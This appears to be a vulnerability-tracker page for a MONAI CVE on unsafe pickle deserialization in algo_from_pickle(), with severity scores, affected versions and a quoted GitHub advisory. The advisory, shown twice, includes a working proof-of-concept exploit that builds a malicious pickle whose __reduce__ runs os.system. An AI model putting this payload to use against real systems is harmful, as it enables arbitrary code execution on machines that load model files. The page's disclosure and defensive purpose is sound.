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CVE-2026-100843

MONAI before 1.6.0 Remote Code Execution via algo_from_pickle

8.5 HighFix available

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.30%Up 0.1 points since Sep 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.5

MONAI before 1.6.0 Remote Code Execution via algo_from_pickle

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Record
CVE-2026-100843
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2026-87845 8.5

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Record
EUVD-2026-87845
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m8hq-fmc4-c3v2 8.5

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle...

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Record
GHSA-m8hq-fmc4-c3v2
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
GitHub AdvisoriesGHSA-qxq5-qhx6-94qw 7.8

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.
Record
GHSA-qxq5-qhx6-94qw
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
NVD 8.5

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Record
CVE-2026-100843
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 8.5

MONAI before 1.6.0 Remote Code Execution via algo_from_pickle

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Record
CVE-2026-100843
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-502
Updated
2026-11-02
OSVGHSA-qxq5-qhx6-94qw 7.8

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.
Record
GHSA-qxq5-qhx6-94qw
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVPYSEC-2026-4018 8.5

MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.

Record
PYSEC-2026-4018
CVSS 4.0
8.5 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
monai
PyPI
before 1.6.0
1.6.0
monai
PyPI
before 1.6.0, plus listed versions
0.0.10.1.00.2.00.3.00.4.0
Show 38 moreShow less
0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc11.5.11.5.21.5.2rc1
1.6.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-100843 is a high vulnerability (CVSS 8.5) in Project-monai Monai, published August 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 23rd percentile. Fixed in monai 1.6.0.

References

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